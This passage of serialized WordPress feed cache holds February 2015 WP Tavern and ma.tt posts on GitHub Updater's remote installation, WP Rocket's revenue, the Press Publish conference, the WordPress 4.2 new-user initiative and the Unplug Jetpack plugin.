Themes\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38758\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:98:\"http://wptavern.com/github-updater-4-1-to-add-remote-installation-for-wordpress-plugins-and-themes\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:3688:\"<p><a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2014/01/wpvsgithub.jpg\" rel=\"prettyphoto[38758]\"><img src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2014/01/wpvsgithub.jpg?resize=1025%2C381\" alt=\"WordPress Versus Github\" class=\"aligncenter size-full wp-image-15216\" /></a></p>\n<p><a href=\"https://github.com/afragen/github-updater\" target=\"_blank\">GitHub Updater</a> is a plugin that developers often use to enable automatic updates to GitHub or Bitbucket-hosted WordPress plugins and themes. The project was started in July 2013 by <a href=\"http://thefragens.com/\" target=\"_blank\">Andy Fragen</a>, a trauma surgeon and plugin developer. Over the past two years GitHub Updater has received improvements from 14 <a href=\"https://github.com/afragen/github-updater/graphs/contributors\" target=\"_blank\">contributors</a>.</p>\n<p>Fragen&#8217;s work on GitHub Updater makes it possible for developers to stay in their <a href=\"http://wptavern.com/wordpress-org-vs-github-for-hosting-wordpress-plugins-and-themes\" target=\"_blank\">preferred GitHub/Bitbucket workflow</a> and still ship updates for plugins and themes to their users. After reading about how <a href=\"http://wptavern.com/wp-pusher-aims-to-provide-pain-free-deployment-of-wordpress-themes-and-plugins-from-github\" target=\"_blank\">WP Pusher is extending WordPress&#8217; built-in auto updater to deploy remotely hosted themes and plugins</a>, Fragen was inspired to investigate the possibility of adding remote installation of WordPress extensions to his GitHub Updater.</p>\n<p>He now has the <code>develop</code> branch of the project working to successfully install both public and private GitHub or Bitbucket repositories remotely. &#8220;I must confess, the hardest part was getting everything in the Settings API functioning,&#8221; Fragen said.</p>\n<p>With the help of some code from the <a href=\"https://wordpress.org/plugins/zero-spam/\" target=\"_blank\">WordPress Zero Spam</a> plugin by Ben Marshall, and a few lines from <a href=\"http://tgmpluginactivation.com/\" target=\"_blank\">TGM Plugin Activation</a> by Thomas Griffin, he was able to get a tabbed settings interface in place in addition to the plugin dependency portion of the task.</p>\n<p>&#8220;After setting up the tabs in the Settings page I was able to simply create the correct endpoint for GitHub and Bitbucket,&#8221; Fragen said. &#8220;I thought allowing for private repository remote installation might prove more difficult but a couple of modifications in other parts of the plugin made this relatively painless. It certainly makes downloading a repo from GitHub, renaming it correctly, and then uploading it a single-click experience.&#8221;</p>\n<p><a href=\"https://github.com/afragen/github-updater\" target=\"_blank\">GitHub Updater</a> is <a href=\"https://github.com/afragen/github-updater/issues/34\" target=\"_blank\">not allowed in the WordPress.org directory</a>, as the guidelines forbid official plugins from allowing updates from anywhere outside of WordPress.org. Developers usually opt for using the GitHub Updater when they want to host their plugins on GitHub/Bitbucket, or need to provide updates for private repositories.</p>\n<p>The <a href=\"http://thefragens.com/2015/02/github-updater-and-remote-installation/\" target=\"_blank\">4.1 release of GitHub Updater</a> will include both remote installation and automatic updating in one package. If you want to test the functionality now, you can check out the <code>develop</code> branch. Feel free to log your issues and feedback on <a href=\"https://github.com/afragen/github-updater\" target=\"_blank\">GitHub</a>, as Fragen will be incorporating bug fixes into the 4.1 release.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 09 Feb 2015 20:32:56 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:28;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:60:\"WPTavern: WP Rocket Grows From $0 to $35K in Monthly Revenue\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38729\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:68:\"http://wptavern.com/wp-rocket-grows-from-0-to-35k-in-monthly-revenue\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:3947:\"<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/WPRocketFeaturedImage.png\" rel=\"prettyphoto[38729]\"><img class=\"aligncenter size-full wp-image-38763\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/WPRocketFeaturedImage.png?resize=672%2C281\" alt=\"WP Rocket Featured Image\" /></a></p>\n<p>WP Media, the company behind WordPress caching plugin WP Rocket, <a title=\"http://blog.wp-rocket.me/transparency-matters/\" href=\"http://blog.wp-rocket.me/transparency-matters/\">published a post</a> that highlights how successful the plugin has been since launching a year and a half ago. When we wrote about the <a title=\"http://wptavern.com/wp-rocket-launches-commercial-caching-plugin-for-wordpress\" href=\"http://wptavern.com/wp-rocket-launches-commercial-caching-plugin-for-wordpress\">international launch of WP Rocket</a>, we questioned whether it would be able to compete against all of the free, robust options available.</p>\n<p>In a show of transparency, WP Media shares stats that indicate the plugin is doing well. Since launching a year and a half ago, WP Rocket has achieved the following milestones while being a 100% bootstrapped company:</p>\n<ul>\n<li>$0 to $35 000 in monthly revenue</li>\n<li>0 to +15 000 websites using WP Rocket</li>\n<li>0 to +4300 customers.</li>\n</ul>\n<p>Despite launching the product without a business plan, customers have shown they&#8217;re willing to buy a caching solution that&#8217;s simple to configure and use.</p>\n<p>Jean-Baptiste Marchand-Arvier, Co-founder of WP Rocket, says the move towards greater transparency is inspired by other companies that have revealed revenue numbers, recruitment strategies, and productivity tips.</p>\n<blockquote><p>We are really inspired by great companies like <a href=\"https://bufferapp.com/\">Buffer</a>, <a href=\"http://baremetrics.io\">Baremetrics</a> and <a href=\"https://mattermark.com/\">Mattermark</a> where transparency is a company culture. They share it through several channels:</p>\n<ul>\n<li><a href=\"https://open.bufferapp.com\">Buffer Open Blog</a>, “Our journey to greater productivity, more transparency and a happier work culture”</li>\n<li><a href=\"https://medium.com/@DanielleMorrill\">Medium posts of Danielle Morrill</a>, CEO and Cofounder of Mattermark</li>\n<li><a href=\"https://baremetrics.io/blog\">Baremetrics Blog</a></li>\n</ul>\n<p><strong>These companies have helped us greatly</strong> by sharing a lot of internal information including their monthly revenue, and more.</p></blockquote>\n<p>At the end of 2014, <a title=\"https://pippinsplugins.com/2014-review/\" href=\"https://pippinsplugins.com/2014-review/\">Easy Digital Downloads</a> and <a title=\"http://wpninjas.com/2014-review/\" href=\"http://wpninjas.com/2014-review/\">WP Ninjas</a> published year-end reviews that show how well each plugin has done. However, Matt Medeiros, of MattReport.com <a title=\"http://mattreport.com/precursor-greatness/\" href=\"http://mattreport.com/precursor-greatness/\">cautions,</a> that while reading about the success of others can be motivational, it can also be depressing.</p>\n<blockquote><p>Entrepreneurs or small business owners that have been in the game month-after-month or 3 years in still struggling to make it. “Everyone is doing better shit than me.” or “Look at the money they are making! Why can’t I?”</p>\n<p>The new social has amplified everyone else’s success while making yours seem insignificant.</p></blockquote>\n<p>I want to see as many companies as possible open up to their customers and readers by publishing revenue numbers and strategies that don&#8217;t work out as intended. Aside from knowing the numbers, I think a lot of people in the community would love to read about the struggles businesses are having and what they&#8217;re doing to overcome them.</p>\n<p>WP Rocket is proving that, despite jumping into an established market, there&#8217;s enough room for new products to grow.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 09 Feb 2015 20:21:25 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:29;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:94:\"WPTavern: The First Conference Dedicated to WordPress.com Debuts on March 28th in Portland, OR\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38717\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:103:\"http://wptavern.com/the-first-conference-dedicated-to-wordpress-com-debuts-on-march-28th-in-portland-or\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:2200:\"<a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/PressPublishFeaturedImage.png\" rel=\"prettyphoto[38717]\"><img class=\"size-full wp-image-38718\" src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/PressPublishFeaturedImage.png?resize=668%2C262\" alt=\"Press Publish Featured Image\" /></a>photo credit: <a href=\"http://www.flickr.com/photos/38072565@N00/462857539\">Publish Akku</a> &#8211; <a href=\"https://creativecommons.org/licenses/by-nc/2.0/\">(license)</a>\n<p>Those who use the <a title=\"https://wordpress.org/\" href=\"https://wordpress.org/\">self hosted version of WordPress</a> have access to <a title=\"http://central.wordcamp.org/\" href=\"http://central.wordcamp.org/\">WordCamps</a>, annual conferences dedicated to WordPress. Meanwhile, there has never been a conference focused on WordPress.com.</p>\n<p><a title=\"http://presspublish.events/\" href=\"http://presspublish.events/\">Press Publish</a> is a new <a title=\"http://presspublish.events/2015/02/04/portland-lineup-confirmed/\" href=\"http://presspublish.events/2015/02/04/portland-lineup-confirmed/\">series of events</a> focused on WordPress.com and Jetpack. The first is scheduled for <a title=\"http://presspublish.events/events/portland/\" href=\"http://presspublish.events/events/portland/\">March 28th, 2015 in Portland, OR</a>. There&#8217;s also a second event scheduled for <a title=\"http://presspublish.events/events/phoenix/\" href=\"http://presspublish.events/events/phoenix/\">April 18th, 2015 in Phoenix, AZ</a>.</p>\n<p>Each event lasts for one day and has two tracks. Speakers will share their personal success stories on using the WordPress.com platform. There will also be a handful of Automatticians on hand to answer any questions. Registration is open for both events and costs $250.00.</p>\n<p>Press Publish is an opportunity for attendees to learn from some of the brightest minds who make a living publishing content on WordPress.com. It&#8217;s also an opportunity for attendees to speak with Automatticians face to face to suggest features or enhancements to the service. The events and locations are part of a pilot program that, if successful, will likely spread to other places around the world.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 09 Feb 2015 20:00:59 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:30;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:77:\"WPTavern: Initiative Aims to Improve the New User Experience in WordPress 4.2\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38655\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:87:\"http://wptavern.com/initiative-aims-to-improve-the-new-user-experience-in-wordpress-4-2\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:4889:\"<a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/NewUserExperienceFeaturedImage.png\" rel=\"prettyphoto[38655]\"><img class=\"size-full wp-image-38713\" src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/NewUserExperienceFeaturedImage.png?resize=650%2C200\" alt=\"New User Experience Featured Image\" /></a>photo credit: <a href=\"http://www.flickr.com/photos/35034347371@N01/414920055\">zu.com &#8211; Image136</a> &#8211; <a href=\"https://creativecommons.org/licenses/by/2.0/\">(license)</a>\n<p>Drew Jaynes, who is <a title=\"http://wptavern.com/drew-jaynes-to-lead-wordpress-4-2\" href=\"http://wptavern.com/drew-jaynes-to-lead-wordpress-4-2\">leading the release cycle</a> for WordPress 4.2 <a title=\"https://make.wordpress.org/core/2015/02/05/4-2-community-initiative-nux-working-group/\" href=\"https://make.wordpress.org/core/2015/02/05/4-2-community-initiative-nux-working-group/\">announced on the Make.WordPress.core blog,</a> that a new community initiative has been launched called NUX or New User Experience. The group is made up of more than 15 members of the WordPress community who have experience in onboarding clients, training clients, and work with new users on a regular basis. According to the announcement, the group&#8217;s main task is as follows:</p>\n<blockquote><p>The group will be tasked with helping to identify common pain points new users might experience using WordPress. The hope is to (re)invigorate the conversation about making NUX a priority in core decision-making. We’ll work together to identify problems and recommend solutions.</p></blockquote>\n<p>With regards to 4.2, the group will brainstorm actionable goals and make recommendations to improve the new user experience throughout the WordPress backend. Jaynes says, &#8220;These changes would likely include improvements to contextual help on various screens, improvements to the content of the Welcome Panel, as well as adjustments to many other established workflows in core interfaces including the installation process.&#8221;</p>\n<p>Recommendations large and small will receive direct feedback from core developers. This provides an opportunity for new users to immediately contribute back to WordPress. The group&#8217;s first meeting will be held <a href=\"http://www.timeanddate.com/worldclock/fixedtime.html?iso=20150210T1900\"><abbr class=\"date\" title=\"2015-02-10T19:00:00+00:00\">Tuesday, February 10, 2015 14:00 UTC-5</abbr></a> in the <a href=\"https://wordpress.slack.com/messages/core-flow/\">#core-flow</a> channel on <a href=\"https://make.wordpress.org/chat\">Slack</a>.</p>\n<h2>Re-establishing Easy as a Selling Point</h2>\n<p>I&#8217;ve used WordPress since 2008 and one of its strongest selling points has always been that it&#8217;s easy to use. However, as WordPress has advanced, I think it&#8217;s become progressively more difficult to use. Within the last two years, several articles have highlighted the increasing difficulty in using and explaining WordPress.</p>\n<ul>\n<li><a title=\"http://mor10.com/wordpress-easy-thats-ok/\" href=\"http://mor10.com/wordpress-easy-thats-ok/\">WordPress is not easy – and that’s OK</a></li>\n<li><a title=\"https://medium.com/@salliegoetsch/have-we-been-misleading-people-about-wordpress-9dcd7dbf3034\" href=\"https://medium.com/@salliegoetsch/have-we-been-misleading-people-about-wordpress-9dcd7dbf3034\">Have We Been Misleading People about WordPress?</a></li>\n<li><a title=\"http://wptavern.com/why-is-explaining-wordpress-to-someone-so-hard\" href=\"http://wptavern.com/why-is-explaining-wordpress-to-someone-so-hard\">Why Is Explaining WordPress To Someone So Hard?</a></li>\n</ul>\n<p>I think a good base to start from to improve the user experience is Jen Mylo&#8217;s <a title=\"http://jenmylo.com/2014/10/05/site-setup-journal-prologue/\" href=\"http://jenmylo.com/2014/10/05/site-setup-journal-prologue/\">site setup journal experiment</a>. In the series, Mylo documents what it&#8217;s like as a new user to install WordPress on a host, setup a website, and browse through documentation. <a title=\"http://jenmylo.com/2014/10/11/site-setup-journal-act-i/\" href=\"http://jenmylo.com/2014/10/11/site-setup-journal-act-i/\">Part 1</a> covers domains and hosting while <a title=\"http://jenmylo.com/2014/10/11/site-setup-journal-act-ii/\" href=\"http://jenmylo.com/2014/10/11/site-setup-journal-act-ii/\">part 2</a> is about setting up WordPress. Her journey is an eye-opening experience and shows how many areas of WordPress are ripe for improvement.</p>\n<p>If WordPress is going to achieve <a title=\"http://wptavern.com/how-important-is-jetpack-on-wordpress-road-to-50-market-share\" href=\"http://wptavern.com/how-important-is-jetpack-on-wordpress-road-to-50-market-share\">50% market share</a>, it needs to be easy to install and use. The New User Experience initiative is a good step towards ensuring the future of WordPress adoption.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 09 Feb 2015 19:42:45 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:31;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:16:\"Matt: Fusion.net\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44663\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:32:\"http://ma.tt/2015/02/fusion-net/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:347:\"<p>There&#8217;s <a href=\"http://fusion.net/\">a relatively new site called Fusion.net that is definitely worth checking out</a>, it&#8217;s already full of great articles and they&#8217;re <a href=\"http://techmeme.com/lb\">starting to climb up the Techmeme Leaderboard</a>. They run on <a href=\"http://vip.wordpress.com/\">WordPress.com VIP</a>.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 09 Feb 2015 18:30:26 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:32;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:81:\"WPTavern: Unplug Jetpack: Use Jetpack Modules Without Connecting to WordPress.com\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38723\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:90:\"http://wptavern.com/unplug-jetpack-use-jetpack-modules-without-connecting-to-wordpress-com\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:2837:\"<a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/unplug.jpg\" rel=\"prettyphoto[38723]\"><img src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/unplug.jpg?resize=1024%2C510\" alt=\"photo credit: Unplugged - (license)\" class=\"size-full wp-image-38734\" /></a>photo credit: <a href=\"http://www.flickr.com/photos/23307937@N04/3415991748\">Unplugged</a> &#8211; <a href=\"https://creativecommons.org/licenses/by/2.0/\">(license)</a>\n<p>Connecting a WordPress.com account in order to use Jetpack can be a hassle, especially when developing for clients or working on your local machine. If you like Jetpack but don&#8217;t want to connect to WordPress.com, there&#8217;s a new plugin that makes it easy to use the features that don&#8217;t require a connection.</p>\n<p><a href=\"https://wordpress.org/plugins/unplug-jetpack/\" target=\"_blank\">Unplug Jetpack</a> was created by WordPress developer <a href=\"http://tannermoushey.com/\" target=\"_blank\">Tanner Moushey</a>. With the plugin activated, you won&#8217;t be required to connect to WordPress.com unless you need to use Site stats, Publicize, Related Posts, etc. If you don&#8217;t see the module you&#8217;re looking for among the others, that means that it likely requires a WordPress.com connection in order to use it.</p>\n<p>The Unplug Jetpack plugin essentially puts Jetpack into development mode. Development mode was introduced in Jetpack <a href=\"http://jetpack.me/2013/03/28/jetpack-dev-mode-release/\" target=\"_blank\">2.2.1</a> to help developers with local testing. It allows you to use features that do not require a connection to WordPress.com servers. Ordinarily, turning on development mode requires adding a line to your wp-config.php file or employing the filter via a plugin.</p>\n<p>Unplug Jetpack is convenient, because it allows you to turn development mode on/off using a plugin. It uses the Jetpack-supported method for doing this and consists of just a couple lines of code:</p>\n<pre class=\"brush: php; light: true; title: ; notranslate\">\nfunction uj_init() {\n	add_filter( \'jetpack_development_mode\', \'__return_true\' );\n}\nadd_action( \'plugins_loaded\', \'uj_init\' );\n</pre>\n<p>When asked whether or not the plugin offers a performance boost as opposed to using non-WordPress.com dependent modules with the connection to WordPress.com, Moushey <a href=\"https://twitter.com/tannermoushey/status/564189285071351808\" target=\"_blank\">said</a> that it&#8217;s unlikely to have a significant performance impact. &#8220;But that is not really the point of this,&#8221; he said. It&#8217;s the principle of the matter &#8211; being able to use Jetpack&#8217;s code without the requirement of connecting to a third party. <a href=\"https://wordpress.org/plugins/unplug-jetpack/\" target=\"_blank\">Unplug Jetpack</a> lets you do that with the flip of a switch.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 09 Feb 2015 18:22:53 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:33;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:23:\"Matt: What is a Hacker?\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44661\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:38:\"http://ma.tt/2015/02/what-is-a-hacker/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:150:\"<p>Steven Levy asks <a href=\"https://medium.com/backchannel/what-is-a-hacker-51257cad8b54\">What is a Hacker? and gets some great answers back</a>.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 09 Feb 2015 01:08:47 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:34;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:39:\"Matt: Productivity of Working from Home\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44659\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:55:\"http://ma.tt/2015/02/productivity-of-working-from-home/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:270:\"<p>FiveThirtyEight 